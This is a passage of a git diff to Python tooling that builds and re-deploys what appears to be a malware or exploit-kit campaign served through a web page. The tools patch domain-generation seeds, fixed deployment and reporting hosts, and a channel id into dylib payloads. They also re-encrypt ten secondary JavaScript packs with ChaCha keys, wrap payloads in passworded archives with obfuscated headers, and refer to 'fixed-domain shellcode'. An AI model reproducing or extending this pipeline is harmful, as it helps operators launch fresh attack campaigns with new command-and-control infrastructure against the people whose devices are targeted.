(comma-separated or repeatable)", ) parser.add_argument( "--reporting-domains", action="append", default=[], + required=True, help="fixed Reporting hosts (comma-separated or repeatable)", ) - parser.add_argument( - "-n", - "--count", - type=int, - default=5, - help="DGA candidates to print when not using fixed domains (default 5)", - ) - parser.add_argument( - "--skip-patch", - action="store_true", - help="only copy source trees to server/public; do not run patch_all", - ) args = parser.parse_args() - if bool(args.deployment_domains) != bool(args.reporting_domains): - raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") + fixed_dep = parse_domain_list(args.deployment_domains, label="deployment") + fixed_rep = parse_domain_list(args.reporting_domains, label="reporting") + dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep) - src_web = SOURCE_ROOT / "web" + src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_sync = SOURCE_ROOT / "sync" - if not (src_web / CAMPAIGN_HASH).is_dir(): - raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}") + if not src_campaign.is_dir(): + raise SystemExit(f"missing source campaign: {src_campaign}") if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") APPLY_ROOT.mkdir(parents=True, exist_ok=True) - dst_web = APPLY_ROOT / "web" - dst_sync = APPLY_ROOT / "sync" + web_root = APPLY_ROOT / "web" + sync_dir = APPLY_ROOT / "sync" + out_root = APPLY_ROOT / "out" + out_root.mkdir(parents=True, exist_ok=True) + web_root.mkdir(parents=True, exist_ok=True) - print("=== reset server/public from source ===") - print(f"from: {SOURCE_ROOT}") - print(f"to: {APPLY_ROOT}/{{web,sync}}") - replace_tree(src_web, dst_web) - replace_tree(src_sync, dst_sync) - print(f"copied web/ ({CAMPAIGN_HASH}) + sync/") + channel = pick_channel(args.channel_id, web_root) + campaign_dir = web_root / channel - if args.skip_patch: - print("skip-patch: done (source copy only)") - return 0 + print("=== new_project ===") + print(f"channel: {channel}") + print(f"web dest: {campaign_dir}") + print(f" deployment: {', '.join(fixed_dep)}") + print(f" reporting: {', '.join(fixed_rep)}") + print(f" seeds: derived from domains (stable)") + print() - cmd = [ - sys.executable, - str(TOOLS / "patch_all.py"), - "--apply", - "--root", - str(APPLY_ROOT), - "-n", - str(args.count), - ] - if args.deployment_seed: - cmd += ["--deployment-seed", args.deployment_seed] - if args.reporting_seed: - cmd += ["--reporting-seed", args.reporting_seed] - for item in args.deployment_domains: - cmd += ["--deployment-domains", item] - for item in args.reporting_domains: - cmd += ["--reporting-domains", item] + print("=== copy campaign template ===") + print(f"from: {src_campaign}") + print(f"to: {campaign_dir}") + copy_campaign_template(campaign_dir) + print(f"created web/{channel}/") + + print("=== reset sync from source ===") + replace_tree(src_sync, sync_dir) + print(f"copied sync/ -> {sync_dir}") + + domain_args: list[str] = [] + for item in fixed_dep: + domain_args += ["--deployment-domains", item] + for item in fixed_rep: + domain_args += ["--reporting-domains", item] print() print("=== patch_all --apply ===") - print("+", " ".join(cmd), flush=True) - subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) + run( + [ + sys.executable, + str(TOOLS / "patch_all.py"), + "--apply", + "--root", + str(APPLY_ROOT), + "--channel-id", + channel, + "--deployment-seed", + dep_seed, + "--reporting-seed", + rep_seed, + *domain_args, + ] + ) + + (out_root / "channel.json").write_text( + json.dumps( + { + "channel_id": channel, + "deployment_domains": fixed_dep, + "reporting_domains": fixed_rep, + }, + indent=2, + ) + + "\n" + ) - out_root = APPLY_ROOT / "out" print() print("=== ready ===") - print(f"web: {dst_web / CAMPAIGN_HASH}") - print(f"sync: {dst_sync}") - print(f"seeds: {out_root / 'seeds.json'}") + print(f"web: {campaign_dir}") + print(f"sync: {sync_dir}") + print(f"channel: {out_root / 'channel.json'}") print(f"domains: {out_root / 'domains.json'}") print() print("served by Laravel public:") - print(f" /web/{CAMPAIGN_HASH}/support.html") + print(f" /web/{channel}/support.html") print(" /sync/daily.html") return 0 diff --git a/tools/new_project.py.bak b/tools/new_project.py.bak new file mode 100644 index 0000000..f2862c4 --- /dev/null +++ b/tools/new_project.py.bak @@ -0,0 +1,299 @@ +#!/usr/bin/env python3 +"""Build server/public campaign trees from source/ with new channel + domains. + +Each run creates a new web// (32 hex). sync/ is rebuilt only when +Deployment/Reporting domains change (or on first run). Re-running with the same +domains only adds another web// and leaves sync/ + prior campaigns. +""" + +from __future__ import annotations + +import argparse +import json +import shutil +import subprocess +import sys +from pathlib import Path + +from _channel_patch import gen_channel_id, validate_channel_id +from _domain_patch import parse_domain_list + +TOOLS = Path(__file__).resolve().parent +LAB_ROOT = TOOLS.parent +SOURCE_ROOT = LAB_ROOT / "source" +APPLY_ROOT = LAB_ROOT / "server" / "public" +ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" + + +def _ignore_junk(_dir: str, names: list[str]) -> set[str]: + skip = {"_bak", "__pycache__", ".DS_Store"} + return {n for n in names if n in skip or n.endswith(".pyc")} + + +def replace_tree(src: Path, dst: Path) -> None: + if dst.exists(): + shutil.rmtree(dst) + shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) + + +def copy_campaign_template(dst_campaign: Path) -> None: + src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + if not src.is_dir(): + raise SystemExit(f"missing source campaign: {src}") + if dst_campaign.exists(): + raise SystemExit(f"campaign already exists: {dst_campaign}") + shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) + + +def load_json(path: Path) -> dict | None: + if not path.is_file(): + return None + return json.loads(path.read_text()) + + +def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool: + if not prev or prev.get("mode") != "fixed_domains": + return False + return ( + prev.get("deployment", {}).get("domains") == dep + and prev.get("reporting", {}).get("domains") == rep + ) + + +def pick_channel(explicit: str | None, web_root: Path) -> str: + channel = validate_channel_id(explicit) if explicit else gen_channel_id() + while (web_root / channel).exists(): + if explicit: + raise SystemExit(f"web/{channel} already exists; choose another --channel-id") + channel = gen_channel_id() + return channel + + +def run(cmd: list[str]) -> None: + print("+", " ".join(cmd), flush=True) + subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) + + +def main() -> int: + parser = argparse.ArgumentParser( + description=( + "From source/, create server/public/web// with a new " + "channel id and patched secondary packs; rebuild sync/ when domains change." + ) + ) + parser.add_argument( + "--channel-id", + help="optional 32-hex channel id (default: random, unique under web/)", + ) + parser.add_argument("--deployment-seed", help="optional; default: random or reuse") + parser.add_argument("--reporting-seed", help="optional; default: random or reuse") + parser.add_argument( + "--deployment-domains", + action="append", + default=[], + help="fixed Deployment hosts (comma-separated or repeatable)", + ) + parser.add_argument( + "--reporting-domains", + action="append", + default=[], + help="fixed Reporting hosts (comma-separated or repeatable)", + ) + parser.add_argument( + "-n", + "--count", + type=int, + default=5, + help="DGA candidates to print when not using fixed domains (default 5)", + ) + parser.add_argument( + "--force-sync", + action="store_true", + help="rebuild sync/ even when domains match the previous project", + ) + parser.add_argument( + "--skip-patch", + action="store_true", + help="only copy source campaign+sync into server/public (no binary patch)", + ) + args = parser.parse_args() + + if bool(args.deployment_domains) != bool(args.reporting_domains): + raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") + if not args.deployment_domains and not args.skip_patch: + raise SystemExit( + "new_project requires --deployment-domains / --reporting-domains " + "(or --skip-patch for a raw source copy)" + ) + + src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + src_sync = SOURCE_ROOT / "sync" + if not src_campaign.is_dir(): + raise SystemExit(f"missing source campaign: {src_campaign}") + if not src_sync.is_dir(): + raise SystemExit(f"missing source sync: {src_sync}") + + APPLY_ROOT.mkdir(parents=True, exist_ok=True) + web_root = APPLY_ROOT / "web" + sync_dir = APPLY_ROOT / "sync" + out_root = APPLY_ROOT / "out" + out_root.mkdir(parents=True, exist_ok=True) + web_root.mkdir(parents=True, exist_ok=True) + + channel = pick_channel(args.channel_id, web_root) + campaign_dir = web_root / channel + + fixed_dep = ( + parse_domain_list(args.deployment_domains, label="deployment") + if args.deployment_domains + else None + ) + fixed_rep = ( + parse_domain_list(args.reporting_domains, label="reporting") + if args.reporting_domains + else None + ) + + prev_domains = load_json(out_root / "domains.json") + prev_seeds = load_json(out_root / "seeds.json") + sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file() + same_domains = ( + fixed_dep is not None + and fixed_rep is not None + and domains_equal(prev_domains, fixed_dep, fixed_rep) + and sync_ready + and not args.force_sync + ) + + print("=== new_project ===") + print(f"channel: {channel}") + print(f"web dest: {campaign_dir}") + if fixed_dep is not None: + print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}") + print(f" deployment: {', '.join(fixed_dep)}") + print(f" reporting: {', '.join(fixed_rep)}") + print() + + print("=== copy campaign template ===") + print(f"from: {src_campaign}") + print(f"to: {campaign_dir}") + copy_campaign_template(campaign_dir) + print(f"created web/{channel}/") + + if args.skip_patch: + if not sync_ready: + print("=== copy sync from source ===") + replace_tree(src_sync, sync_dir) + (out_root / "channel.json").write_text( + json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n" + ) + print("skip-patch: done") + return 0 + + assert fixed_dep is not None and fixed_rep is not None + + py = sys.executable + domain_args: list[str] = [] + for item in fixed_dep: + domain_args += ["--deployment-domains", item] + for item in fixed_rep: + domain_args += ["--reporting-domains", item] + + if same_domains: + # Reuse seeds so fixed-domain shellcode matches existing sync/. + dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed") + rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed") + if not dep or not rep: + raise SystemExit( + "domains unchanged but out/seeds.json missing seeds; " + "pass --deployment-seed/--reporting-seed or --force-sync" + ) + print("=== domains unchanged: patch secondary only ===") + print(f"reuse seeds dep={dep} rep={rep}") + run( + [ + py, + str(TOOLS / "patch_secondary_packs.py"), + "--deployment-seed", + dep, + "--reporting-seed", + rep, + "--channel-id", + channel, + *domain_args, + "--root", + str(APPLY_ROOT), + "--apply", + ] + ) + (out_root / "channel.json").write_text( + json.dumps( + { + "channel_id": channel, + "patched": True, + "sync_rebuilt": False, + "deployment_seed": dep, + "reporting_seed": rep, + "deployment_domains": fixed_dep, + "reporting_domains": fixed_rep, + }, + indent=2, + ) + + "\n" + ) + else: + print("=== domains new/changed: reset sync + full patch ===") + replace_tree(src_sync, sync_dir) + print(f"copied sync/ -> {sync_dir}") + cmd = [ + py, + str(TOOLS / "patch_all.py"), + "--apply", + "--root", + str(APPLY_ROOT), + "--channel-id", + channel, + "-n", + str(args.count), + *domain_args, + ] + if args.deployment_seed: + cmd += ["--deployment-seed", args.deployment_seed] + if args.reporting_seed: + cmd += ["--reporting-seed", args.reporting_seed] + print() + print("=== patch_all --apply ===") + run(cmd) + seeds = load_json(out_root / "seeds.json") or {} + (out_root / "channel.json").write_text( + json.dumps( + { + "channel_id": channel, + "patched": True, + "sync_rebuilt": True, + "deployment_seed": seeds.get("deployment_seed"), + "reporting_seed": seeds.get("reporting_seed"), + "deployment_domains": fixed_dep, + "reporting_domains": fixed_rep, + }, + indent=2, + ) + + "\n" + ) + + print() + print("=== ready ===") + print(f"web: {campaign_dir}") + print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})") + print(f"channel: {out_root / 'channel.json'}") + print(f"seeds: {out_root / 'seeds.json'}") + print(f"domains: {out_root / 'domains.json'}") + print() + print("served by Laravel public:") + print(f" /web/{channel}/support.html") + print(" /sync/daily.html") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/patch_all.py b/tools/patch_all.py index ed81cac..ac675e9 100644 --- a/tools/patch_all.py +++ b/tools/patch_all.py @@ -11,10 +11,12 @@ import subprocess import sys from pathlib import Path +from _channel_patch import gen_channel_id, validate_channel_id + TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent SOURCE_ROOT = LAB_ROOT / "source" -CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" +ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" def gen_seed() -> str: @@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]: return {n for n in names if n in skip or n.endswith(".pyc")} -def ensure_working_tree(root: Path) -> None: - """If web/sync missing under root, copy from source/ (same as new_project --skip-patch).""" - camp = root / "web" / CAMPAIGN_HASH +def ensure_working_tree(root: Path, channel: str) -> None: + """Ensure sync/ and web// exist (copy from source template if needed).""" + camp = root / "web" / channel sync = root / "sync" - if camp.is_dir() and sync.is_dir(): - return - src_web = SOURCE_ROOT / "web" + src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_sync = SOURCE_ROOT / "sync" - if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir(): + if not src_camp.is_dir() or not src_sync.is_dir(): raise SystemExit( - f"missing working tree and source template.\n" - f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}" + f"missing source template.\n" + f"expected: {src_camp} and {src_sync}" ) - print("=== bootstrap working tree from source/ ===") - for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")): - if dst.exists(): - shutil.rmtree(dst) - shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) - print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}") + if not camp.is_dir() or not sync.is_dir(): + print("=== bootstrap working tree from source/ ===") + if not sync.is_dir(): + shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk) + print(f"copied sync/ -> {sync}") + if not camp.is_dir(): + camp.parent.mkdir(parents=True, exist_ok=True) + shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk) + print(f"copied campaign -> {camp}") + if not camp.is_dir() or not sync.is_dir(): + raise SystemExit(f"failed to bootstrap {camp} / {sync}") print() @@ -63,6 +68,10 @@ def main() -> int: ) parser.add_argument("--deployment-seed", help="optional; default: random 32 hex") parser.add_argument("--reporting-seed", help="optional; default: random 32 hex") + parser.add_argument( + "--channel-id", + help="32-hex channel id for web// + type-0x01 embed (default: random)", + ) parser.add_argument( "--deployment-domains", action="append", @@ -83,7 +92,7 @@ def main() -> int: parser.add_argument( "--apply", action="store_true", - help="write into --root web/ + sync/", + help="write into --root web// + sync/", ) parser.add_argument( "-n", @@ -99,8 +108,10 @@ def main() -> int: if bool(args.deployment_domains) != bool(args.reporting_domains): raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") + channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id() + if args.apply and args.root: - ensure_working_tree(args.root.resolve()) + ensure_working_tree(args.root.resolve(), channel) fixed_mode = bool(args.deployment_domains) dep = args.deployment_seed or gen_seed() @@ -117,6 +128,7 @@ def main() -> int: { "deployment_seed": dep, "reporting_seed": rep, + "channel_id": channel, "mode": "fixed_domains" if fixed_mode else "dga", }, indent=2, @@ -124,8 +136,9 @@ def main() -> int: + "\n" ) - print("=== seeds ===") + print("=== seeds / channel ===") print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}") + print(f"channel: {channel}") print(f"deployment: {dep}") print(f"reporting: {rep}") print(f"saved: {seeds_path}") @@ -136,6 +149,7 @@ def main() -> int: py = sys.executable apply = ["--apply"] if args.apply else [] root = ["--root", str(args.root.resolve())] if args.root else [] + channel_args = ["--channel-id", channel] domain_args: list[str] = [] if fixed_mode: for item in args.deployment_domains: @@ -152,6 +166,7 @@ def main() -> int: dep, "--reporting-seed", rep, + *channel_args, *domain_args, *root, *apply, @@ -177,7 +192,6 @@ def main() -> int: domains_path = out_root / "domains.json" if fixed_mode: - # Prefer MANIFEST from patch_core output manifest_path = out_root / "sync" / "MANIFEST.json" if not manifest_path.is_file(): manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json" @@ -212,8 +226,14 @@ def main() -> int: domains["mode"] = "dga" domains_path.write_text(json.dumps(domains, indent=2) + "\n") + (out_root / "channel.json").write_text( + json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2) + + "\n" + ) + print() print("=== final domains ===") + print(f"channel={channel}") print(f"deployment seed={dep}") for i, domain in enumerate(domains["deployment"]["domains"], 1): print(f" {i:03d} {domain}") @@ -223,6 +243,8 @@ def main() -> int: print() print(f"seeds: {seeds_path}") print(f"domains: {domains_path}") + if args.apply and args.root: + print(f"web: {args.root.resolve() / 'web' / channel}") if not args.apply: print("Note: outputs are under out/ only. Use new_project.py or --apply --root .") return 0 diff --git a/tools/patch_core.py b/tools/patch_core.py index 7200fad..1e19781 100644 --- a/tools/patch_core.py +++ b/tools/patch_core.py @@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes: def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes: + """Build passworded 7z; cache by content so py7zr's random salt does not drift runs.""" + cache_key = sha256_hex( + member_name.encode("utf-8") + + b"\0" + + password.encode("utf-8") + + b"\0" + + payload + ) + cache_dir = LAB_ROOT / "out" / "7z_cache" + cache_path = cache_dir / cache_key + if cache_path.is_file(): + return cache_path.read_bytes() + with tempfile.TemporaryDirectory() as tmp: root = Path(tmp) member = root / member_name @@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes archive = root / "out.7z" with py7zr.SevenZipFile(archive, mode="w", password=password) as handle: handle.write(member, arcname=member_name) - return archive.read_bytes() + data = archive.read_bytes() + + cache_dir.mkdir(parents=True, exist_ok=True) + cache_path.write_bytes(data) + return data def extract_daily_config_bytes() -> bytes: @@ -139,7 +156,8 @@ def main() -> int: if args.root: set_tree_root(args.root) - ensure_tree_layout(tree_root()) + # sync-only: campaign dirs are web// and may not match ORIGINAL + ensure_tree_layout(tree_root(), require_campaign=False) if args.apply: if not args.root: raise SystemExit("--apply requires --root (refusing to write into source/)") diff --git a/tools/patch_secondary_packs.py b/tools/patch_secondary_packs.py index b336d46..c715560 100644 --- a/tools/patch_secondary_packs.py +++ b/tools/patch_secondary_packs.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js.""" +"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js.""" from __future__ import annotations @@ -8,9 +8,11 @@ import json import shutil from pathlib import Path +from _channel_patch import patch_channel_in_dylib, validate_channel_id from _common import ( GROUP_DYLIBS, LAB_ROOT, + ORIGINAL_CHANNEL_ID, SECONDARY_KEYS, SOURCE_ROOT, ensure_tree_layout, @@ -28,8 +30,8 @@ import _common def main() -> int: parser = argparse.ArgumentParser( description=( - "Replace Deployment/Reporting seeds in type-0x01 helpers and " - "re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)." + "Replace Deployment/Reporting seeds (and optional fixed domains / channel id) " + "in type-0x01 helpers, then re-encrypt all 10 secondary .min.js." ) ) parser.add_argument( @@ -42,6 +44,13 @@ def main() -> int: required=True, help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)", ) + parser.add_argument( + "--channel-id", + help=( + f"new 32-hex channel id written into type-0x01 and used as web// " + f"(default: keep {ORIGINAL_CHANNEL_ID})" + ), + ) parser.add_argument( "--root", type=Path, @@ -55,7 +64,7 @@ def main() -> int: parser.add_argument( "--apply", action="store_true", - help="also copy outputs into /web/.../", + help="also copy outputs into /web//", ) parser.add_argument( "--deployment-domains", @@ -72,6 +81,11 @@ def main() -> int: args = parser.parse_args() dep = validate_seed_arg("--deployment-seed", args.deployment_seed) rep = validate_seed_arg("--reporting-seed", args.reporting_seed) + channel = ( + validate_channel_id(args.channel_id) + if args.channel_id + else ORIGINAL_CHANNEL_ID + ) fixed_dep = ( parse_domain_list(args.deployment_domains, label="deployment") if args.deployment_domains @@ -86,16 +100,19 @@ def main() -> int: raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") if args.root: - set_tree_root(args.root) - ensure_tree_layout(tree_root()) + set_tree_root(args.root, channel=channel) + ensure_tree_layout(tree_root(), channel=channel) + else: + _common.set_campaign_id(channel) + if args.apply: if not args.root: raise SystemExit("--apply requires --root (refusing to write into source/)") if tree_root().resolve() == SOURCE_ROOT.resolve(): raise SystemExit("refusing --apply into source/; create a project first") + out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary") - # re-bind after set_tree_root campaign_dir = _common.CAMPAIGN_DIR meta = json.loads(SECONDARY_KEYS.read_text()) stems = meta["stems"] @@ -121,6 +138,14 @@ def main() -> int: reporting_seed=rep, label=path.name, ) + if channel != ORIGINAL_CHANNEL_ID: + data = patch_channel_in_dylib( + data, + channel, + old_channel=ORIGINAL_CHANNEL_ID, + expect_hits=1, + label=path.name, + ) patched[group] = data print( f"group {group}: patched {path.name} " @@ -137,7 +162,6 @@ def main() -> int: group = info["group"] key = bytes.fromhex(info["key"]) wire = encrypt_secondary_minjs(patched[group], key) - # sanity: decrypt back check = decrypt_secondary_minjs(wire, key) if check != patched[group]: raise SystemExit(f"round-trip failed for {stem}") @@ -156,6 +180,7 @@ def main() -> int: manifest = { "deployment_seed": dep, "reporting_seed": rep, + "channel_id": channel, "mode": "fixed_domains" if fixed_dep is not None else "dga", "deployment_domains": fixed_dep, "reporting_domains": fixed_rep, @@ -165,6 +190,7 @@ def main() -> int: (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n") if args.apply: + campaign_dir.mkdir(parents=True, exist_ok=True) for item in built: src = out / f"{item['stem']}.min.js" dst = campaign_dir / src.name @@ -172,8 +198,9 @@ def main() -> int: print(f"applied -> {dst}") print(f"\nDone. Output: {out}") + print(f"channel: {channel}") if not args.apply: - print(f"Re-run with --apply --root to overwrite files under web/") + print(f"Re-run with --apply --root to overwrite files under web/{channel}/") return 0